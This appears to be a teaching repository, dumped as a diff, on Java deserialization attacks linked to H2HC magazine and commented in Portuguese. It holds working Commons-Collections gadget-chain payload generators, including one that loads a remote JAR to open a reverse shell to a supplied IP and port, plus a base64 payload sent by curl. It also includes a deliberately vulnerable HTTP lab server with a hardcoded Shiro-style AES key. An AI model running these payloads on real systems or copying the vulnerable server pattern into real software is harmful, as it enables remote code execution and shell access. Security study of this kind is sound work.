$ ls -all /tmp/h2hc_2017
|
||||
-rw-r--r-- 1 joao joao 0 Sep 13 22:34 /tmp/h2hc_2017
|
||||
```
|
||||
|
||||
Sending the payload in Gzip+Base64 format via HTTP Cookies:
|
||||
```
|
||||
$ rm -rf /tmp/h2hc_2017
|
||||
$ gzip ExampleCommonsCollections1.ser
|
||||
$ base64 -w0 ExampleCommonsCollections1.ser.gz
|
||||
$ curl 127.0.0.1:8000/ -H "cookie: JSESSIONID=H4sICMeVuVkAA0V4YW1wbGVDb21tb25zQ29sbGVjdGlvbnMxLnNlcgCVVD1MFEEUfrd3iKDEAxVNiITGqER2kZhIuEKRBCFZlCAS4hU67M3dLuzOrjOz5x0ohY0tBQmxUQut/EmMtYWxMBEl0UZDZ2HURBMtrHVmd+9uAf+44u7tzfu+933vvdn7X6GOUehhPlEpztvY4CoixOWIWy5R+6vhMCm6RhANIZKzMT334seO3cvzdxVQdNjuYGcK0wlk+5hx2KFPoyLSfG7Z2gjyMjqkeNnDHJrDAxuRgjZgI8YyJY9dBYAENMkTVUJUASlR2BP8IVOrykapWyq/P7Da8TI9sKxAQoeEyWF/jDTK1DbIlYUuwTyAcNvp0oKKPGSYWDVcx3EJE7+2BFoydpCn6mi2LHSQD4vXbpbTi0lZrD6PDO7SMofDuqDQQgototBiFNo4RYTlXeqElSn0/aNm3ieSm6kDJrIIzsUIup8vfTk4u5QShrPQZMVORKu7spuT4tMI8jcxcciTic7v747uvaEAlDwxqZQwk/lvM+KJI8JjhJPFheZ+5dFiML4Gq5LBoSU2xjNT04JLyC1SaK7twZhPuOVgqH0211u5FTOYxtRc//RzZu7KSq8CySzUWf20IHq6M7tRig7brBHMTTd3Gjl4rdqznFqkkMmKlFFEkTMudl3QtGR/s+2i/xF9aCmiX1iZvJVmh+xKlxUOjQXMI8MC1BIHhWT3Wt8+XH51vjoZ4NAgMKFKXy57u2QSLUzXoKHW29/u9M5mHp8MoMUgNbgdrQGsTcK8aih4t1hB5/5EGppYM5aAtG0daWK9+6hzD95MfPy8b+5UxUmSQ702ZRGNieutdAnqXdz1DbND446nmT2mcaGn+8gxDilcwkZVVSIoqrHKzgQvkyHETHGR6+pXnz5rvfg6CcogNNouyg0Gl3kYGrhJMTNdO1fyjp8I9V/eKr7SgZOSsNpeUxx7OY5hjomM1hiXEvp+AaGU2MlXBQAA"
|
||||
Data deserialized!
|
||||
$ ls -all /tmp/h2hc_2017
|
||||
-rw-r--r-- 1 joao joao 0 Sep 13 22:47 /tmp/h2hc_2017
|
||||
```
|
@ -0,0 +1,143 @@
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.functors.InstantiateTransformer;
|
||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import java.io.*;
|
||||
import java.lang.reflect.*;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.util.HashMap;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* Gera payload com gadget chain para carregar e executar uma classe remota
|
||||
* (hospedada pelo testador). Neste exemplo, é usada a classe JexReverse,
|
||||
* do componente http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar,
|
||||
* a fim de obter uma reverse shell independente de plataforma (Windows ou *nix).
|
||||
* Neste exemplo é usado um HashMap como trigger gadget, o qual permite atingir
|
||||
* o método hashCode de um TiedMapEntry que, por sua vez, aciona o método .get()
|
||||
* de um LazyMap decorado com a ChainedTransformers.
|
||||
* Esse trigger (HashMap+TiedMapEntry) foi proposto por Matthias Kaiser.
|
||||
*
|
||||
*
|
||||
* -----------------------------------------------------------------------
|
||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
||||
* https://www.h2hc.com.br/revista/
|
||||
* -----------------------------------------------------------------------
|
||||
*
|
||||
* OBS: Esse código tem fins apenas didáticos.
|
||||
*
|
||||
**** USAGE ****
|
||||
*
|
||||
* Compilando:
|
||||
* $ javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
|
||||
*
|
||||
* Executando
|
||||
* $ java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap SEU_IP:SUA_PORTA
|
||||
*
|
||||
* @author @joaomatosf
|
||||
*/
|
||||
public class ReverseShellCommonsCollectionsHashMap {
|
||||
@SuppressWarnings ( {"unchecked"} )
|
||||
public static void main(String[] args)
|
||||
throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
|
||||
IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException, NoSuchFieldException {
|
||||
|
||||
String remoteJar = "http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar";
|
||||
String host = null;
|
||||
int port = 1331;
|
||||
|
||||
// Verifica se o usuário forneceu o comando a ser executado
|
||||
if (args.length != 1 || args[0].split(":").length != 2 ) {
|
||||
System.out.println("Invalid params! \n" +
|
||||
"Example usage: java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap \"REMOTE_IP:PORT\"");
|
||||
System.exit(1);
|
||||
}
|
||||
host = args[0].split(":")[0];
|
||||
port = Integer.parseInt(args[0].split(":")[1]);
|
||||
|
||||
Transformer[] transformers = new Transformer[] {
|
||||
|
||||
new ConstantTransformer(URLClassLoader.class),
|
||||
new InstantiateTransformer(
|
||||
new Class[]{
|
||||
URL[].class
|
||||
},
|
||||
new Object[]{
|
||||
new URL[]{new URL(remoteJar)}
|
||||
}),
|
||||
new InvokerTransformer("loadClass",
|
||||
new Class[]{
|
||||
String.class
|
||||
},
|
||||
new Object[]{
|
||||
"JexReverse"
|
||||
}),
|
||||
new InstantiateTransformer(
|
||||
new Class[]{ String.class, int.class },
|
||||
new Object[]{ host, port }
|
||||
)
|
||||
};
|
||||
|
||||
// Cria o objeto ChainedTransformer com o array de Transformers:
|
||||
Transformer transformerChain = new ChainedTransformer(transformers);
|
||||
// Cria o map
|
||||
Map map1 = new HashMap();
|
||||
// Decora o map com o LazyMap e a cadeia de transformações como factory
|
||||
Map lazyMap = LazyMap.decorate(map1,transformerChain);
|
||||
|
||||
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
|
||||
|
||||
HashSet map = new HashSet(1);
|
||||
map.add("foo");
|
||||
Field f = null;
|
||||
try {
|
||||
f = HashSet.class.getDeclaredField("map");
|
||||
} catch (NoSuchFieldException e) {
|
||||
f = HashSet.class.getDeclaredField("backingMap");
|
||||
}
|
||||
|
||||
f.setAccessible(true);
|
||||
HashMap innimpl = (HashMap) f.get(map);
|
||||
|
||||
Field f2 = null;
|
||||
try {
|
||||
f2 = HashMap.class.getDeclaredField("table");
|
||||
} catch (NoSuchFieldException e) {
|
||||
f2 = HashMap.class.getDeclaredField("elementData");
|
||||
}
|
||||
|
||||
f2.setAccessible(true);
|
||||
Object[] array = (Object[]) f2.get(innimpl);
|
||||
|
||||
Object node = array[0];
|
||||
if(node == null){
|
||||
node = array[1];
|
||||
}
|
||||
|
||||
Field keyField = null;
|
||||
try{
|
||||
keyField = node.getClass().getDeclaredField("key");
|
||||
}catch(Exception e){
|
||||
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
|
||||
}
|
||||
|
||||
keyField.setAccessible(true);
|
||||
keyField.set(node, entry);
|
||||
|
||||
// Serializa o objeto
|
||||
System.out.println("Saving serialized object in ReverseShellCommonsCollectionsHashMap.ser");
|
||||
FileOutputStream fos = new FileOutputStream("ReverseShellCommonsCollectionsHashMap.ser");
|
||||
ObjectOutputStream oos = new ObjectOutputStream(fos);
|
||||
oos.writeObject(map);
|
||||
oos.flush();
|
||||
|
||||
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,105 @@
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import java.io.*;
|
||||
import java.lang.*;
|
||||
import java.lang.annotation.Retention;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.util.*;
|
||||
/**
|
||||
* Gera payload com gadget chain para forçar um Sleep na aplicação.
|
||||
* Note que esse payload requer que a commons-collections vulnerável esteja
|
||||
* disponível no classpath (<= 3.2.1) e deverá funcionar em sistemas com
|
||||
* JRE < 8u72. Em versões maiores, deve-se usufruir de outro gadget como trigger
|
||||
* (eg. BadAttributeValueExpException ou HashMap + TiedMapEntry).
|
||||
*
|
||||
* -----------------------------------------------------------------------
|
||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
||||
* https://www.h2hc.com.br/revista/
|
||||
* -----------------------------------------------------------------------
|
||||
*
|
||||
* OBS: Esse código tem fins apenas didáticos. Algumas cadeias de
|
||||
* transformers são baseadas nas versões de Chris Frohoff e/ou Matthias Kaiser
|
||||
*
|
||||
**** USAGE ****
|
||||
*
|
||||
* Compilando:
|
||||
* $ javac -cp .:commons-collections-3.2.1.jar SleepExample.java
|
||||
*
|
||||
* Executando
|
||||
* $ java -cp .:commons-collections-3.2.1.jar SleepExample
|
||||
*
|
||||
*
|
||||
* @author @joaomatosf
|
||||
*/
|
||||
public class SleepExample {
|
||||
@SuppressWarnings ( {"unchecked"} )
|
||||
public static void main(String[] args)
|
||||
throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
|
||||
IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {
|
||||
|
||||
// Cria array de Transformers que irá resultar na seguinte construção:
|
||||
//Thread.class.getMethod("sleep", new Class[]{Long.TYPE}).invoke(null, new Object[]{10000L});
|
||||
Transformer[] transformers = new Transformer[] {
|
||||
new ConstantTransformer(Thread.class), // retorna class Thread.class
|
||||
// 1o. Objeto InvokerTransformer: getMethod("sleep", new Class[]{Long.TYPE})
|
||||
new InvokerTransformer(
|
||||
"getMethod", // invoca método getMethod
|
||||
( new Class[] {String.class, Class[].class } ), // tipos dos parâmetros: (String, Class[])
|
||||
( new Object[] {"sleep", new Class[]{Long.TYPE} } ) // parâmetros: (sleep, new Class[]{Long.TYPE})
|
||||
),
|
||||
// 2o. Objeto InvokerTransformer: invoke(null, new Object[]{10000L})
|
||||
new InvokerTransformer(
|
||||
"invoke", // invoca método: invoke
|
||||
(new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[])
|
||||
(new Object[] {null, new Object[] {10000L} }) // parâmetros: (null, new Object[] {10000L})
|
||||
)
|
||||
};
|
||||
|
||||
// Cria o objeto ChainedTransformer com o array de Transformers:
|
||||
Transformer transformerChain = new ChainedTransformer(transformers);
|
||||
// Cria o map
|
||||
Map map = new HashMap();
|
||||
// Decora o map com o LazyMap e a cadeia de transformações como factory
|
||||
Map lazyMap = LazyMap.decorate(map,transformerChain);
|
||||
|
||||
// Usa reflexão para obter referencia da classe AnnotationInvocationHandler
|
||||
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
|
||||
// Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map
|
||||
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
|
||||
// Torna o construtor acessível
|
||||
ctor.setAccessible(true);
|
||||
// Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um
|
||||
// type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo
|
||||
// memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"!
|
||||
InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);
|
||||
|
||||
//cria a interface map
|
||||
Class[] interfaces = new Class[] {java.util.Map.class};
|
||||
// cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers)
|
||||
Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);
|
||||
|
||||
// cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues
|
||||
// esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o
|
||||
// método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers)
|
||||
InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);
|
||||
|
||||
// Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado,
|
||||
// o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke().
|
||||
// No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap
|
||||
// com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)!
|
||||
System.out.println("Saving serialized object in SleepExample.ser");
|
||||
FileOutputStream fos = new FileOutputStream("SleepExample.ser");
|
||||
ObjectOutputStream oos = new ObjectOutputStream(fos);
|
||||
oos.writeObject(handlerProxy);
|
||||
oos.flush();
|
||||
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,42 @@
|
||||
import java.io.Serializable;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
/**
|
||||
* Um dos gadgets usados no exemplo didático que demonstra como desviar o
|
||||
* fluxo de execucão durante a desserialização (utilizando Dynamic Proxy).
|
||||
* O método invoke() desta classe é alcançado quando o readObject da classe
|
||||
* ForgottenClass invoca um método em um campo controlado pelo usuário (map.entrySet())
|
||||
* O campo irá conter um Proxy entre a interface Map e este InvocationHandler.
|
||||
*
|
||||
* -----------------------------------------------------------------------
|
||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
||||
* https://www.h2hc.com.br/revista/
|
||||
* -----------------------------------------------------------------------
|
||||
*
|
||||
*
|
||||
* @author @joaomatosf
|
||||
*/
|
||||
public class SomeInvocationHandler implements InvocationHandler, Serializable {
|
||||
|
||||
private String cmd;
|
||||
|
||||
// metodo invoke não é um magic method (ou seja, *não* é invocado automaticamente
|
||||
// durante a desserialização. Porém, pode ser alcançado por meio de um Dynamic Proxy.
|
||||
@Override
|
||||
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
|
||||
System.out.println("-------------------------------------------");
|
||||
System.out.println("Invoke method reached! This method can do something dangerous!");
|
||||
Runtime.getRuntime().exec(cmd);
|
||||
return null;
|
||||
}
|
||||
|
||||
// magic method invocado automaticamente durante a desserialização de objetos
|
||||
// deste tipo
|
||||
private void readObject(java.io.ObjectInputStream s)
|
||||
throws java.io.IOException, ClassNotFoundException {
|
||||
s.defaultReadObject();
|
||||
System.out.println("-------------------------------------------");
|
||||
System.out.println("The flow is in SomeInvocationHandler.readObject()");
|
||||
}
|
||||
}
|
@ -0,0 +1,42 @@
|
||||
import java.io.*;
|
||||
/**
|
||||
* Exemplo simples que demonstra a desserialização nativa de um objeto
|
||||
* salvo em um arquivo. Observe que, durante a desserialização, o método
|
||||
* readObject da classe Alien (que é o tipo do Objeto sendo desserializado)
|
||||
* é automaticamente invocado - por isso, chamado de magic method.
|
||||
*
|
||||
* -----------------------------------------------------------------------
|
||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
||||
* https://www.h2hc.com.br/revista/
|
||||
* ----------------------------------------------------------------------- *
|
||||
*
|
||||
* **** USAGE ****
|
||||
*
|
||||
* Compilando:
|
||||
* $ javac TestDeserialize.java
|
||||
*
|
||||
* Executando
|
||||
* $ java TestDeserialize
|
||||
*
|
||||
* OBS: lembre de executar o exemplo TestSerialize antes, de forma
|
||||
* a gerar o objeto serializado no arquivo (ET_object.ser), que
|
||||
* será desserializado por este exemplo.
|
||||
*
|
||||
*
|
||||
* @author @joaomatosf
|
||||
*/
|
||||
public class TestDeserialize {
|
||||
|
||||
public static void main(String[] args)
|
||||
throws IOException, ClassNotFoundException {
|
||||
// Obtem stream de bytes a partir do arquivo salvo em disco
|
||||
FileInputStream fis = new FileInputStream("ET_object.ser");
|
||||
ObjectInputStream ois = new ObjectInputStream(fis);
|
||||
// Realiza a desserialização! Nesse momento, os magic methods da classe
|
||||
// Alien serão automaticamente invocados! (ie. readObject)
|
||||
Alien ET = (Alien) ois.readObject(); // <-- Realiza a desserializacao
|
||||
System.out.println("Hi, I'm "+ET.name+" from "+ET.source);
|
||||
|
||||
}
|
||||
}
|
||||
|
@ -0,0 +1,44 @@
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.ObjectOutputStream;
|
||||
/**
|
||||
* Exemplo simples que demonstra a serializacao nativa de um objeto
|
||||
* e o salva em um arquivo. Observe que, durante a serializacao, o método
|
||||
* writeObject da classe Alien (que é o tipo do Objeto sendo serializado)
|
||||
* é automaticamente invocado.
|
||||
*
|
||||
* -----------------------------------------------------------------------
|
||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
||||
* https://www.h2hc.com.br/revista/
|
||||
* -----------------------------------------------------------------------
|
||||
*
|
||||
* **** USAGE ****
|
||||
*
|
||||
* Compilando:
|
||||
* $ javac TestSerialize.java
|
||||
*
|
||||
* Executando
|
||||
* $ java TestSerialize
|
||||
*
|
||||
* @author @joaomatosf
|
||||
*/
|
||||
public class TestSerialize {
|
||||
|
||||
public static void main(String[] args)
|
||||
throws IOException {
|
||||
|
||||
// Instancia objeto a ser serializado e atribui
|
||||
// valores aos seus campos "name" e "source"
|
||||
Alien ET = new Alien();
|
||||
ET.name = "Abu ce taí";
|
||||
ET.source = "Andromeda Galaxy";
|
||||
|
||||
// Cria FileOutputStream para armazenar o objeto serializado em um arquivo
|
||||
FileOutputStream fos = new FileOutputStream("ET_object.ser");
|
||||
ObjectOutputStream oos = new ObjectOutputStream(fos);
|
||||
oos.writeObject(ET); // <-- Realiza a serializacao
|
||||
oos.flush();
|
||||
oos.close();
|
||||
|
||||
}
|
||||
}
|
@ -0,0 +1,402 @@
|
||||
import com.sun.net.httpserver.HttpExchange;
|
||||
import com.sun.net.httpserver.HttpHandler;
|
||||
import com.sun.net.httpserver.HttpServer;
|
||||
|
||||
import sun.misc.BASE64Decoder;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.IvParameterSpec;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import java.io.*;
|
||||
import java.lang.annotation.IncompleteAnnotationException;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.net.URLDecoder;
|
||||
//this import is only for java 1.8
|
||||
//import java.util.Base64;
|
||||
import java.security.Key;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* Simples Servidor HTTP que desserializa dados recebidos nos seguintes formatos:
|
||||
*
|
||||
* 1) via HTTP POST em formato binário (ou seja, \xAC\xED)
|
||||
* 2) via HTTP POST como valor de algum parâmetro (eg. "ViewState") nos formatos 1) base64 (rO0...) ou 2) gzip+base64 (H4sI...)
|
||||
* 3) via cookies (header cookie) nos formatos base64 (rO0) ou gzip+base64 (H4sI) (eg. Cookie: JSESSIONID=rO0... ou Cookie: JSESSIONID=H4sI...)
|
||||
* 4) via Cookie rememberMe (like Apache Shiro), criptografado com aes-128-cbc e chave hardcoded
|
||||
* 5) via XML para explorar o XStream
|
||||
*
|
||||
* Após a desserialização, ele tenta fazer um cast para Integer, a fim de simular o que
|
||||
* ocorre em um servidor "real" (erro de casting após a desserialização)
|
||||
*
|
||||
*
|
||||
* OBS: Sobre Apache Shiro, ver:
|
||||
* https://github.com/apache/shiro/blob/master/crypto/cipher/src/main/java/org/apache/shiro/crypto/JcaCipherService.java
|
||||
* https://github.com/apache/shiro/blob/8acc82ab4775b3af546e3bbde928f299be62dc23/integration-tests/guice3/src/main/webapp/WEB-INF/shiro.ini
|
||||
* Para geracao do payload, use CommonsCollections2 ou CommonsCollections4 do ysoserial e criptografe com aes-128-cbc
|
||||
* Se preferir, existem mtos sccripts prontos para geracao do payload, veja:
|
||||
* ex: https://github.com/leveryd/vulndocker/blob/78ba54edbd2dd81f09bb6d3f03a446555e6b7614/vuln/shiro/shirotest.py
|
||||
* Análise: http://www.freebuf.com/articles/system/125187.html
|
||||
*
|
||||
* -----------------------------------------------------------------------
|
||||
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
|
||||
* https://www.h2hc.com.br/revista/
|
||||
* -----------------------------------------------------------------------
|
||||
*
|
||||
* **** USAGE ****
|
||||
*
|
||||
* Compilando:
|
||||
* $ javac VulnerableHTTPServer.java -XDignore.symbol.file
|
||||
*
|
||||
* Executando
|
||||
* $ java VulnerableHTTPServer
|
||||
*
|
||||
* Ou, caso deseje testar payloads para explorar gadgets de bibliotecas específicas, use o -cp. Exs:
|
||||
* $ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer
|
||||
* $ java -cp .:xstream-1.4.6.jar:commons-collections-3.2.1.jar VulnerableHTTPServer
|
||||
*
|
||||
* @author @joaomatosf
|
||||
*/
|
||||
|
||||
public class VulnerableHTTPServer {
|
||||
|
||||
public static void banner(){
|
||||
System.out.println("* =============================================================== *");
|
||||
System.out.println("* Simple Java HTTP Server for Deserialization Lab v0.01 *");
|
||||
System.out.println("* https://github.com/joaomatosf/JavaDeserH2HC *");
|
||||
System.out.println("* =============================================================== *");
|
||||
System.out.println("You can inject java serialized objects in the following formats:");
|
||||
System.out.println(
|
||||
"\n 1) Binary in HTTP POST (ie \\xAC\\xED). Ex:\n" +
|
||||
" $ curl 127.0.0.1:8000 --data-binary @ObjectFile.ser\n"+
|
||||
"\n 2) Base64 or Gzip+Base64 via HTTP POST parameters. Ex:\n" +
|
||||
" $ curl 127.0.0.1:8000 -d \"ViewState=rO0ABXNy...\"\n"+
|
||||
" $ curl 127.0.0.1:8000 -d \"ViewState=H4sICAeH...\"\n"+
|
||||
"\n 3) Base64 or Gzip+Base64 in cookies. Ex:\n"+
|
||||
" $ curl 127.0.0.1:8000 -H \"Cookie: JSESSIONID=rO0ABXNy...\"\n"+
|
||||
" $ curl 127.0.0.1:8000 -H \"Cookie: JSESSIONID=H4sICAeH...\"\n"+
|
||||
"\n 4) Base64 of AES-CBC encrypted with hardcoded Apache Shiro key. Ex:\n" +
|
||||
" $ curl 127.0.0.1:8000 -H \"Cookie: rememberMe=MTIzNDU2Nzg...\"\n"+
|
||||
"\n 5) XML for XStream RCE vulnerability/serialization. Ex:\n" +
|
||||
" $ curl 127.0.0.1:8000 -d @file.xml\n -H \"Content-Type: application/xml\"");
|
||||
|
||||
|
||||
|
||||
System.out.println("OBS: To test gadgets in specific libraries, run with -cp param. Ex:\n" +
|
||||
"$ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer");
|
||||
System.out.println("==================================================================");
|
||||
|
||||
}
|
||||
|
||||
public static void main(String[] args) throws IOException {
|
||||
banner();
|
||||
int port = 8000;
|
||||
HttpServer server = HttpServer.create(new InetSocketAddress(port), 0);
|
||||
server.createContext("/", new HTTPHandler());
|
||||
server.setExecutor(null); // creates a default executor
|
||||
server.start();
|
||||
System.out.println("\nJRE Version: "+System.getProperty("java.version"));
|
||||
System.out.println("[INFO]: Listening on port "+port);
|
||||
System.out.println();
|
||||
}
|
||||
|
||||
|
||||
static class HTTPHandler implements HttpHandler {
|
||||
|
||||
String aesHardedCodeKey = "kPH+bIxk5D2deZiIxcaaaA==";
|
||||
|
||||
public void handle(HttpExchange t) throws IOException {
|
||||
|
||||
System.out.println("[INFO]: Received "+t.getRequestMethod()+" "+t.getRequestURI()+" from: "+t.getRemoteAddress());
|
||||
|
||||
String responseMsg = null;
|
||||
boolean containsCookie = t.getRequestHeaders().containsKey("cookie");
|
||||
|
||||
// if there's a cookie with serialized java object
|
||||
if (containsCookie){
|
||||
String object = t.getRequestHeaders().get("cookie").get(0);
|
||||
object = getObjectValue(object);
|
||||
|
||||
if (object.startsWith("H4sI") || object.startsWith("rO0") )
|
||||
responseMsg = deserialize(object);
|
||||
else { // try deserialize aes-cbc encrypted object
|
||||
|
||||
byte[] plainText = decryptAES(object,aesHardedCodeKey);
|
||||
if (plainText == null)
|
||||
responseMsg = "\nAn error ocurred when decrypting the stream.\n";
|
||||
else
|
||||
responseMsg = deserialize(new ByteArrayInputStream(plainText));
|
||||
}
|
||||
|
||||
}
|
||||
else if (t.getRequestMethod().equals("POST")){
|
||||
|
||||
InputStream input = t.getRequestBody();
|
||||
// take 2 bytes from header to check if it is a raw object
|
||||
PushbackInputStream pbis = new PushbackInputStream( input, 2 );
|
||||
byte [] header = new byte[2];
|
||||
int len = pbis.read(header);
|
||||
pbis.unread( header, 0, len );
|
||||
StringBuffer headerResult = new StringBuffer();
|
||||
for (byte b: header)
|
||||
headerResult.append(String.format("%02x", b));
|
||||
|
||||
// deserialize raw
|
||||
if (headerResult.toString().equals("aced"))
|
||||
responseMsg = deserialize(pbis); // deserialize RAW
|
||||
else{ // deserialize H4sI, rO0,...
|
||||
// read input into string
|
||||
InputStreamReader isr = new InputStreamReader(pbis, "utf-8");
|
||||
BufferedReader br = new BufferedReader(isr);
|
||||
String body = br.readLine();
|
||||
String paramName = "";
|
||||
String object = getObjectValue(body);
|
||||
|
||||
if (object.startsWith("H4sI") || object.startsWith("rO0") )
|
||||
responseMsg = deserialize(object); // deserialize H4sI, rO0...
|
||||
else if (object.startsWith("<") )
|
||||
responseMsg = deserializeXStream(object); // xtream
|
||||
}
|
||||
|
||||
|
||||
}// end if POST
|
||||
else{
|
||||
|
||||
responseMsg = "<html>" +
|
||||
"\n<title>DeserLab v0.01</title> " +
|
||||
"\n<br>DeserLab v0.01 - Vulnerable HTTP Server for Deserialization Vulnerabilities Tests." +
|
||||
"\n<br>See examples at: <a href=\"https://github.com/joaomatosf/JavaDeserH2HC\">https://github.com/joaomatosf/JavaDeserH2HC</a>" +
|
||||
"\n<br> <form id=\"0\" name=\"inicial\" method=\"post\" action=\"/post\" enctype=\"application/x-www-form-urlencoded\">" +
|
||||
"\n<bbr> <input type=\"hidden\" name=\"javax.faces.ViewState\" id=\"javax.faces.ViewState\" value=\"H4sI\" />";
|
||||
|
||||
}
|
||||
t.getResponseHeaders().add("Server", "Vulnerable Java HTTP Server v0.01");
|
||||
t.getResponseHeaders().add("Info", "http://github.com/joaomatosf/JavaDeserH2HC");
|
||||
t.getResponseHeaders().add("Content-Type", "x-java-serialized-object");
|
||||
|
||||
if (t.getRequestURI().getPath().contains("jexws") || t.getRequestURI().getPath().contains("jexinv"))
|
||||
t.sendResponseHeaders(404, responseMsg.length());
|
||||
else
|
||||
t.sendResponseHeaders(200, responseMsg.length());
|
||||
|
||||
OutputStream os = t.getResponseBody();
|
||||
os.write(responseMsg.getBytes());
|
||||
os.close();
|
||||
|
||||
}
|
||||
|
||||
public boolean hasParam(String object){
|
||||
if (object.indexOf("=")<40 && object.indexOf("=")>0 && object.split("=")[1].length() > 4)
|
||||
return true;
|
||||
else
|
||||
return false;
|
||||
}
|
||||
public String getParamName(String object){
|
||||
if (hasParam(object))
|
||||
return object.substring(0, object.indexOf("=")+1).split("=")[0] + "=";
|
||||
else
|
||||
return "";
|
||||
}
|
||||
public String getObjectValue(String object){
|
||||
if (hasParam(object)) {
|
||||
String paramName = getParamName(object);
|
||||
return object.split(paramName)[1];
|
||||
}
|
||||
else
|
||||
return object;
|
||||
|
||||
}
|
||||
|
||||
|
||||
public String deserialize(String object){
|
||||
|
||||
ObjectInputStream ois = null;
|
||||
InputStream is = null;
|
||||
GZIPInputStream gis = null;
|
||||
|
||||
// if payload is urlencoded
|
||||
if (object.contains("%2B")) {
|
||||
try {
|
||||
object = URLDecoder.decode(object, "UTF-8");
|
||||
} catch (UnsupportedEncodingException e) {
|
||||
return "\nInvalid encoding. You should use URL Encode!\n";
|
||||
}
|
||||
}
|
||||
|
||||
try {
|
||||
byte[] b64DecodedObj = new BASE64Decoder().decodeBuffer(object);
|
||||
// This another implementation of Base64 is only for java >= 1.8
|
||||
//byte[] b64DecodedObj = Base64.getDecoder().decode(object);
|
||||
is = new ByteArrayInputStream(b64DecodedObj);
|
||||
}catch (Exception e){
|
||||
return "\nInvalid Base64!\n";
|
||||
}
|
||||
|
||||
if (object.startsWith("H4sI")) {
|
||||
try {
|
||||
gis = new GZIPInputStream(is);
|
||||
ois = new ObjectInputStream(gis);
|
||||
} catch (IOException e) {
|
||||
return "\nThe Stream not contains a Java Object!\n";
|
||||
}
|
||||
catch (Exception e) {
|
||||
return "\nInvalid Gzip stream!\n";
|
||||
}
|
||||
}
|
||||
else {
|
||||
try {
|
||||
ois = new ObjectInputStream(is);
|
||||
}
|
||||
catch (IOException e ){
|
||||
return "\nThe Stream not contains a Java Object!\n";
|
||||
}
|
||||
catch (Exception e){
|
||||
return e.toString()+"\n";
|
||||
}
|
||||
}
|
||||
|
||||
// Deserialization
|
||||
try{
|
||||
int number = (Integer) ois.readObject();
|
||||
}
|
||||
catch (ClassNotFoundException e) {
|
||||
return "\nSerialized class not found in classpath\n";
|
||||
}
|
||||
catch (IOException e) {
|
||||
return e.toString()+"\n";
|
||||
}
|
||||
catch (ClassCastException e){
|
||||
e.printStackTrace();
|
||||
} catch (IncompleteAnnotationException e){
|
||||
e.printStackTrace();
|
||||
System.out.println("\n[INFO] This payload not works in JRE >= 8u72. Try another version such as those\n" +
|
||||
" which use TiedMapEntry + HashSet (by @matthiaskaiser).\n");
|
||||
